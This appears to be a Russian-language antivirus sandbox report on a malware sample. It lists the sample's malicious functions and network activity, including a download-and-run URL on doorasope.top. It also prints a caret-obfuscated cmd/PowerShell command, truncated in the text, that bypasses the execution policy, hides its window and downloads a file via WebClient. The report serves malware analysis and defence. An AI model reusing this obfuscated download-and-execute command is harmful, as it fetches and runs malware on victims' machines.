Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.doorasope.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "POWERShe^l^l.ex^e ^-^E^X^EcutIOnPol^I^CY b^yPass -^N^opRo^FIlE^ ^-^w^indOw^Style^ ^h^i^d^de^N (^nE^W^-^ob^Je^ct ^Sys^t^E^M.neT.W^EbC^LieNT^).^d^O^WnlOadfI^le^('http://www.doo...
Сетевая активность
UDP
- DNS ASK do###sope.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "POWERShe^l^l.ex^e ^-^E^X^EcutIOnPol^I^CY b^yPass -^N^opRo^FIlE^ ^-^w^indOw^Style^ ^h^i^d^de^N (^nE^W^-^ob^Je^ct ^Sys^t^E^M.neT.W^EbC^LieNT^).^d^O^WnlOadfI^le^('http://www.doo...' (со скрытым окном)
